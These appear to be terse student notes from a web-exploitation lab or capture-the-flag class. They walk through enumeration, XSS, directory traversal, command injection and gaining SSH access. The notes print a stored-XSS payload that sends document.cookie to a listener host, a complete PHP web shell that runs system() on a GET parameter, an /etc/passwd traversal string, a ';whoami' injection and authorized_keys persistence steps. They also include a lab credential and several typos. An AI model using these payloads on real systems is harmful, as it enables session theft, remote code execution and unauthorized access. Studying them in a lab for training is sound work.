**Web Exploitation (XSS)**

From Ops-Station

* F12 to open developer console
* Inspector: make modifications to render only on client-side
* Network: all the requests

page.php?name=someval&time=someval

page.php?file=passwd

**Enumeration**

* ROBOTS.TXT
* Legit surfing
* Tools:

NSE scripts- nmap… http-enum

Nikto

Burp suites (outside class)

**Ex:**

**nmap 10.50.37.72 -Pn**

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

**nmap 10.50.27.72 -Pn - -script http-enum -p 80**

firefox

10.50.37.72/robots.txt

**Reflected XXS**

10.50.37.72/cross --> XXSdemo.php --> input: <script>alert(“Hacked”);</script>

**Stored XSS**

using python script capture to “listen”

lin-ops:~$

mkdir temp

cd ttemp/

python3 -m http.server <port> #default 8000

firefox - > 192.168.24.161:8000 #it’s listening

10.50.37.72/java/

<script>document.location=”10.50.21.207:8000/stealer.php?cookie=”+document.cookie;</script>

**Directory Traversal**

/../../../../../../../etc/passwd

**Command Injection**

10.50.37.72/cmdinjection

input field > ;whoami

**Stealing SSH Key**

ssh-keygen -t rsa

y

no password

enter enter..

ls .ssh

id\_rsa is private

id\_rsa.pub is public

cat .sh/id\_rsa.pub

**\*include everything\***

/etc/passwd file…

www-data

/var/www is home directory

/bin/bash is default shell

.ssh folder there?

ls -la /var/www

mkdir /var/www/.ssh

ls -la /var/www

echo “” >> /var/www/.ssh/authorized\_keys

ssh www-data@10.50.37.72

What if the input box did not exit?

**Copy this text into opsstation to a file with .php…**

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<?php

if($\_GET['cmd']) {

system($\_GET['cmd']);

}

?>

</pre>

</BODY></HTML>

**Ex:**

cat keel.php

10.50.37.72 -> browse > keep.php > upload file now

10.50.37.72/uploads

**\*everything is same except the ;\***

**PE Web Exploit**

step 0) local port forward to jumpbox + create dynamic tunnel

step 1)

nmap 10.10 -Pn --script http-enum -p 80

step 2)

10.50.37.72/uploads

billybob:x:1001:1001:you found me SNP3VbbJqIKSvrINxKdL:/home/billybob:/bin/bash

step 3)

nano keel.php

<HTML><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<?php

if($\_GET['cmd']) {

system($\_GET['cmd']);

}

?>

</pre>

</BODY></HTML>

step 4)

10.50.37.72/uploads/keel.php

cat /../../../../../../../../etc/passwd

billybob

/home/billybob

mkdir /home/billybob/.ssh

ls -la /home/billybob/.ssh

echo “” >> /home/billybob/.ssh/authorized\_keys

lin-ops$ proxychains ssh billybob@10.100.28.40 -p 4444

cd /home

ls

cat contracts

**FLAG**

lin-ops$ python3 -m http.server 8000

<script>document.location=”10.50.21.207:8000/stealer.php?cookie=”+document.cookie;</script>

**WEB EXPLOITATION STEPS**

1. /robots.txt
2. ﻿http-enum
3. passive browsing